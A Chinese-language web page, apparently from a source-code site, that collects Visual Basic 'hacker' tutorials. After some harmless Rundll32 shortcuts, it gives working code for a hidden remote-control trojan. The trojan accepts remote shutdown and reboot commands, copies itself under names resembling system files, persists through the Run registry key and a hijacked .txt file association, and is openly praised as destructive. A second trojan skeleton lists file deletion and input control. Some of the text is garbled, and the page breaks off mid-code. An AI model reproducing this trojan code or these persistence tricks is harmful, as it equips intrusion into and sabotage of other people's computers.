【vb精品源码栏目提醒】:文章导读:在新的一年中,各位网友都进入紧张的学习或是工作阶段。
网学会员整理了vb精品源码-vb黑客木马编程(精选大全)(免费)[1] - 软件工程的相关内容供大家参考,祝大家在新的一年里工作和学习顺利!
VB 黑客编程基础一. 调用系统“创建快捷方式”向导 是否为
VB 不支持创建快捷方式而于着急呢?虽然 您可以调用
vb5stkit.Dll 中的fCreateShellLink 函 数,但它是为安装程序设计的,快捷方式的默认路径 总是从当前用户的“\Start Menu\Programs”开始,也 就是说,如果您的 Windows95 装在 C 盘上,您无法通过 fCreateShellLink 函数把快捷方式创建到 D 盘上去。
现在,给大家介绍一种极为方便、巧妙的方法: 用 Shell 语句调用系统“创建快捷方式”向导。
新建一个项目,在窗体上放一个按钮,双击此按 钮,加入以下代码: Private Sub Command1_Click Open App.Path & quottemp.lnkquot For Output As 1 Close 1 以上两句在程序所在目录建立一 个临时文件 Shell quotRundll32.exe AppWiz.Cpl,NewLinkHere quot& App.Path & quottemp.lnkquot End Sub (注意:Shell 语句中 NewLinkHere 后面跟着一个 空格才是引号,否则将出错。
) 运行程序,按一下命令按钮,怎么样?“创建快 捷方式”向导出现了,如果创建成功,快捷方式将取 代临时文件 temp.lnk 的位置,如果选取消,temp.lnk 也会自动消失。
当然,您可以在硬盘的任意位置建立 temp.lnk。
好,现在又可以为您的程序增添一项新功 能了。
Enjoy! 二. Rundll32.exe 的用途 我们知道,用 Shell 语句只能调用可执行文件,即 exe、com、bat 和 pif 文件,有时我们想要调用其他一 些系统功能该怎么办呢?此时,Windows 提供的 Rundll32.exe 可大显身手了。
下面我们来认识一下这 些用法,也许会给您带来一点惊喜。
1.要打开设置系统时间的控制面板文件 (Timedate.cpl只需运行如下代码: Shell quotRundll32.exe Shell32.dllControl_RunDLL Timedate.cplquot 至于打开其他控制面板文件,相信您一定能够举 一反三,尝试一下,换个文件名就成了。
2.要运行某一快捷方式(.lnk)则可以用以下 代码: She11 quotRundll32.exe url.dll FileProtocolHandler Xquot X 代表要运行的文件,包括 路径,下同。
3. 也可以这样写来打开 ActiveMovie 控制: Shell quotRUNDLL32.EXE amovie.ocx,Rundllquot1 而用 Shell quotRUNDLL32.EXE amovie.ocx,Rundll /play Xquot1 将直接播放媒体文件。
4. Shell quotrundll32.exe desk.cpl,InstallScreenSaver X”当然是安装屏幕保 护啦,如果你写了一个屏幕保护程序,那么可以在安 装程序中写上它,而不一定要装到 system 目录下。
顺 便提一下,
VB 不是自捞一个“Application Setup Wizard”么?它的
VB 源代码都在安装目录下的 “setupkitsetup1”中放着呢,好好把它研究一下。
你完全能做出富有个性的安装程序来。
5.按住 shift 键,右击某一文件,菜单中会出现 “打开方式”选项,这也许已不是什么秘密。
但现在, 用 shell quotrundll32.exe shell32.dll OpenAs_RunDLL Xquot 便能直接调用“打开方式”框。
6. 甚至能用这样一句来打印文件(包括 HTML 所 支持的所有文本与图像格式: Shell quotrundll32.exe MSHTML.DLL,PrintHTML X” 1 怎么样?是不是小有收获呢?这下,您一定会对 Rundll32.exe 这个平时不起眼的文件 它另眼相待了, 可是系统运行必不可少的部件呢! 其实 Shell+Rundll32 还能调用其他许多系统功能,比如关 于 NetMeeting 和 Telnet 方面的。
如果您有兴趣,可以 到往册表的“我的 电 脑 \ HKEY_CLASSES_ROOT \ ” 或 “ 我 的 电 脑 下HKEY_LOCAL_MACHINESoftwareCLASSES” 去看看, 本文的内容大都是从那里 “抄”来的。
只要 有足够的决心、信心、耐心,您一定能发现更多有价 值的东西。
Good luck主要也就 /showerr.aspBoardID0ampErrCodes6060ampaction 再起作用 程序所有代码仅此两 段 Private Sub Command1_Click WebBrowser1.Navigate Text1.Text quot/showerr.aspBoardID0ampErrCodes6060ampactionquot End Sub Private Sub Command2_ClickEnd End Sub 程序下载.首先,新建一工程,名为 Server,新建一个窗体,Name 为 Server,在窗体中加入一个 winsock控件,Name 设为 sckServer,协议设为默认的 TCP/IP 协议。
接下来我们回来 Server 窗体模块中,添加如下代码:Private Sub form_Load With Me ) .sckServer.LocalPort 88917本地端口(呵呵!我的生日! .sckServer.Listen 开始监听 End WithEnd Sub接受客户端的连接请求。
Private Sub sckServer_ConnectionRequestByVal requestID As Long With Me If .sckServer.State ltgtsckClosed Then .sckServer.Close .sckServer.Accept requestID End WithEnd Sub 下面我们来建立客户端程序:新建一个工程,名为 Client,把窗体名为 Client,在上面加入一个 winsock 控件,名为 sckClient,协议为 TCP/IP 协议。
再加一个按钮 cmdConnect在窗体模块中加入代码:Private Sub form_Load With Me .sckClient.RemoteHost quot127.0.0.1quot设置远程 IP,本例设为本机。
.sckClient.RemotePort 88917 远程端口就为 server 中的设置一样. End WithEnd SubPrivate sub cmdConnect_Click SckClient.ConnectEnd sub 至此,单击 Connect 按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client 中的 sckClient_Connect 事件中加入代码:debug.print “Connetion successful”来查看。
这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。
为了简单,本文章只实现一点小小的功能―――关机,重启,注销。
好,开始吧! 在 Server 工程中新建一个模块,Name 为 modApi,这个模快为一些 API 函数,添加如下 API 函数:Public Declare Function ExitWindowXXX Lib quotuser32quot Alias quotExitWindowXXXquot ByVal uFlagsAs Long ByVal dwReserved As Long As LongPublic Const EWX_LOGOFF 0Public Const EWX_REBOOT 2Public Const EWX_SHUTDOWN 1Public Declare Function ClipCursor Lib quotuser32quot Alias quotClipCursorquot lpRect As Any As LongPublic Type RECT Left As Long Top As Long Right As Long Bottom As LongEnd Type 注:在两个 socket 中编程中,进行通信的重要事件是 DataArrival 事件,用于接收远程数据。
下面在 Client 工程的 Client 窗体中放入三个按钮,分别为 cmdExitcmdLogoffcmdReboot。
它们用于对远程的关机,注销,重启操作。
分别添加如下代码:Private Sub cmdExit_Click Me.sckClient.SendData quotExitquotEnd SubPrivate Sub cmdLogoff_Click Me.sckClient.SendData quotLogoffquotEnd SubPrivate Sub cmdReboot_Click Me.sckClient.SendData quotRebootquotEnd Sub 全都是对服务端发出请求。
下面转到 Server 工程中:在 Server 中添加 sckServer 的DataArrial 事件,接收客户端的请求。
Private Sub sckServer_DataArrivalByVal bytesTotal As Long Dim strData As String With Me 接收客户请求的信息 .sckServer.GetData strData Select Case strData Case quotExitquot 关机 Call ExitWindowXXXEWX_SHUTDOWN 0 Case quotRebootquot 重启 Call ExitWindowXXXEWX_REBOOT 0 Case quotLogoffquot 注销 Call ExitWindowXXXEWX_LOGOFF 0 End Select End WithEnd Sub 好了到此我们已经实现功能了,但还不行,我们要它在背后运行。
这简单,在 Server中的 form_Load 事件中加入一句:me.hide。
好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧! 回到 Server 工程中的 modApi 中加入如下 API 函数:Public Declare Function RegOpenKey Lib quotadvapi32.dllquot Alias quotRegOpenKeyAquot ByVal hKey AsLong ByVal lpSubKey As String phkResult As Long As LongPublic Declare Function RegSetvalueEx Lib quotadvapi32.dllquot Alias quotRegSetvalueExAquot ByValhKey As Long ByVal lpvalueName As String ByVal Reserved As Long ByVal dwType As LonglpData As Any ByVal cbData As Long As LongPublic Declare Function RegCreateKey Lib quotadvapi32.dllquot Alias quotRegCreateKeyAquot ByVal hKeyAs Long ByVal lpSubKey As String phkResult As Long As LongPublic Const REG_BINARY 3Public Const REG_SZ 1Public Const HKEY_LOCAL_MACHINE ampH80000002Public Const HKEY_CLASSES_ROOT ampH80000000 写到注册表启动组中的过程。
Public Sub StartupGroup Dim sKey As String Dim result As Long Dim hKeyID As Long Dim sKeyVal As String sKey quotSystrsyquot 启动组中的键找一个与系统文件相近的。
sKeyVal quotC:/windows/system/systrsy.exequot 木马文件的路径,可以用 GetSystemDirectory来取得系统路径。
result RegOpenKeyHKEY_LOCAL_MACHINE _ quotSoftware/Microsoft/Windows/CurrentVersion/Runquot hKeyID If result 0 Then result RegSetvalueExhKeyID sKey 0amp REG_SZ sKeyVal LensKey 1 End IfEnd Sub 好,就这样简单地完成了。
但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行, 还得想让他发现了删也删不掉。
请看下面的代码:Public Sub WriteToTxt Dim result As Long Dim hKeyID As Long Dim skey As String Dim skeyVal As String skey quottxtfile/shell/open/commandquot skeyVal quotC:/windows/system/txtView.exequot result RegOpenKeyHKEY_CLASSES_ROOT skeyVal hKeyID If result 0 Then result RegSetvalueExhKeyID skey 0amp REG_SZ skeyVal LenskeyVal 1 End IfEnd Sub 肯 定 不 少 朋 友 一 看 就 知 道 了 , 原 是 与 txt 文 件 进 行 关 联 , 一 点 也 不 错 , 但C:/windows/system/txtView.exe 是哪里来的,我们的木马是 C:/windows/system/systrsy.exe 呀。
这可是我们木马的分身了。
好,回到 Server 工程的 Server 窗体的 form_Load 中,加入如下代码:Dim sCurrentPath As String sSystemDir As StringsCurrentPath App.Path amp quot/quot amp App.EXEName amp quot.exequotsSystemDir “C:/windows/system”On Error Resume Next 复制文件成系统目录下的 Systrsy.exe FileCopy sCurrentPath sSystemDir amp quot/Systrsy.exequotOn Error Resume Next复制文件成系统目录下的 txtView.exeFileCopy sCurrentPath sSystemDir amp quot/txtView.exequot 调用Call startupGroupCall WriteToTxt判断程序是否下在运行If App.PrevInstance Then 如果已经运行就退出。
EndEnd If 好了,写到这里一个破坏性木马已经诞生了,我实验过还是比较好的一个,希望大家也能写一个好的木马,能突破冰河呵呵! 注意: 1、大家在处理端口是最好使用高端端口,否则会和一些常用端口发生冲突 2、在第一次使用
VB.NET 的最好看看有关的图书,可能你能写出一款超级木马也说你可以使用 API 函数 FindWindow 和 PostMessage 去寻找指定的窗口,并关闭它。
下面的例子教给你怎样找到并关掉一个 Caption 为“Caluclator”的程序。
Dim winHwnd As LongDim RetVal As LongwinHwnd FindWindowvbNullString quotCalculatorquotDebug.Print winHwndIf winHwnd ltgt 0 ThenRetVal PostMessagewinHwnd WM_CLOSE 0amp 0ampIf RetVal 0 ThenMsgBox quot置入消息错误!quotEnd IfElseMsgBox quotCalculator 没有打开!quotEnd If为了让以上的代码工作,你必须在模块文件中什么以下 API 函数:Declare Function FindWindow Lib quotuser32quot Alias _quotFindWindowAquot ByVal lpClassName As String _ByVal lpWindowName As String As LongDeclare Function PostMessage Lib quotuser32quot Alias _quotPostMessageAquot ByVal hwnd As Long ByVal wMsg As Long _ByVal wParam As Long lParam As Any As LongPublic Const WM_CLOSE ampH10网络是互联的,当你从中获取资源的同时,也要经受其中的考验,木马程序会修改并破坏电脑的系统和文件,除了安装杀毒软件(包括防火墙)外,还应该尽可能地掌握系统文件知识。
下面简单介绍一下木马的加载方式: 加载方式:定位于 System.ini 和 Win.ini 文件 System.ini位置 C:windows “shellexplorer.exe” boot项原始值配置: ,explorer.exe 是 Windows 的核心文件之一,每次系统启动时,都会自动加载。
“shellexplorer C:windowsxxx.exe”xxx.exe 假设一木马程序。
boot项修改后配置: Win.ini位置 C:windows windows项原始值配置: ; “load”“run”,一般情况下,等号后无启动加载项。
“load”和“run”后跟非系统、应用启动文件,而是一些你 windows项修改后配置:不熟悉的文件名。
解决办法: 执行“运行→msconfig” 将 命令, System.ini 文件和 Win.ini 文件中被修改的值改回原值,并将原木马程序删除。
若不能进入系统, 则在进入系统前按 “ShiftF5”进入 Command PromptOnly 方式,分别键入命令 edit system.ini 和 edit win.ini 进行修改。
加载方式:隐藏在注册表中(此方式最为隐蔽)。
注 意 以 下 注 册 表 项 : HKEY LOCALMACHINESoftwareclassesexefileshellopencommand 原始数值数据:quot1quot 被修改后的数值数据:C:systemxxx.exe quot1quot 原注册表项是运行可执行文件的格式,被修改后就变为每次运行可执行文件时都会先运行 C:systemxxx.exe 这个程序。
例如:开机后运行 QQ 主程序时,该 xxx.exe(木马程序)就先被加载了。
解决办法: 当通过防火墙得知某端口被监听,立即下线,检查注册表及系统文件是否被修改,找到木马程序,将其删除。
所谓“病从口入” 感染源还是在于加载了木马程序的服务器端。
目前,伪装可执行文件图标的方法很多,如:修改扩展名,将文件图标改为文件夹的图标等,并隐藏扩展名,因此接收邮件和下载软件时一定要小心。
许多木马程序的文件名很像系统文件名,造成用户对其没有把握,不敢随意删除,因此要不断增长自己的知识才可防备万一。
可以借助一些软件来狙击木马,如:The Cleaner、Trojan Remover 等。
建议经常去微软网站下载补丁包来修补系统;及时升级病毒库 ,BO 又称“特洛伊木马” 是在美国一次黑客技术讨论会上由一个黑客组织推出的。
它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。
因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。
下面来谈谈如何用
VB 来实现它。
---- 使用
VB 建立两个程序,一个为客户端程序 Client,一个为服务器端程序 systry。
---- 在 Client 工程中建立一个窗体,加载 WinSock 控件,称为 tcpClient,协议选择 TCP,再加入两个文本框,用以输入服务器的 IP 地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:Private Sub cmdConnect_Click If LenText1.Text 0 And LenText2.Text 0 Then MsgBox quot请输入主机名或主机 IP 地址。
quot Exit Sub Else If LenText1.Text gt 0 Then tcpClient.RemoteHost Text1.Text Else tcpClient.RemoteHost Text2.Text End If End If tcpClient.Connect Timer1.Enabled TrueEnd Sub---- 连接建立之后就可以使用 DataArrival 事件处理所收到的数据了。
---- 在服务器端 systry 工程也建立一个窗体,加载 WinSock 控件,称为 tcpServer,协议选择TCP,在 Form_Load 事件中加入如下代码:Private Sub Form_Load tcpServer.LocalPort 1999 tcpServer.ListenEnd Sub---- 准备应答客户端程序的请求连接,使用 ConnectionRequest 事件来应答户端程序的请求,代码如下:Private Sub tcpServer_ConnectionRequestByVal requestID As Long If tcpServer.State lt gt sckClosed Then tcpServer.Close‘检查控件的 State 属性是否为关闭的。
End If 如果不是,在接受新的连接之前先关闭此连接。
tcpServer.Accept requestIDEnd Sub---- 这样在客户端程序按下了连接按钮后,服务器端程序的 ConnectionRequest 事件被触发,执行了以上的代码。
如果不出意外,连接就被建立起来了。
---- 建立连接后服务器端的程序通过 DataArrival 事件接收客户机端程序所发的指令运行既定的程序。
如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用 TreeView 控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。
DataArrival 事件程序如下:Private Sub tcpServer_DataArrivalByVal bytesTotal As Long Dim strData As String Dim i As Long Dim mKey As String tcpServer.GetData strData‘接收数据并存入 strData For i 1 To LenstrData ‘分离 strData 中的命令 If MidstrData i 1 quotquot Then mKey LeftstrData i - 1‘把命令 ID 号存入 mKey ‘把命令参数存入 strDatastrData RightstrData LenstrData - i Exit For End If Next i Select Case ValmKey Case 1 ‘驱动器名、目录名、文件名 Case 2 强制关闭服务器端的计算机 Case 3 强制重启服务器端的计算机 Case 4 屏蔽任务栏窗口; Case 5 屏蔽开始菜单; Case 6 按照客户机端传过来的文件名或目录名,而删除它; Case 7 屏蔽热启动键; Case 8 运行服务器端的任何程序 End SelectEnd Sub详细程序略。
---- 客户机端用 tcpClient.SendData 发命令。
命令包括命令 ID 和命令参数,它们用符号“”隔开。
---- 另外,当客户机端断开与服务器端的来接后,服务器端应用 tcpServer_Close 事件,来继续准备接收客户机端的请求,其代码如下:Private Sub tcpServer_Close tcpServer.Close tcpServer.ListenEnd Sub---- 这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。
至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
---- 成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。
警告:千万不要用 BO 程序破坏别人的系统。
软盘是数据的常用载体,我们的软件可能会提供用户将数据备份到软盘上的功能。
为避免软盘上有带有病毒的文件,最安全的办法就是提醒用户将软盘格式化。
Visual Basic 可以通过调用 API 函数格式化一个磁盘,无论是软盘还是硬盘。
打开一个新的项目project1 ,如果你没有更改过缺省模式,那么 Visual Basic 会自动添加一个 form1 文件,在 form1 上添加一个命令控件,将下面的代码拷入。
Option Explicit Private Declare Function SHFormatDrive Libquotshell32quot_ ByVal Hend AS Long_ ByVal D.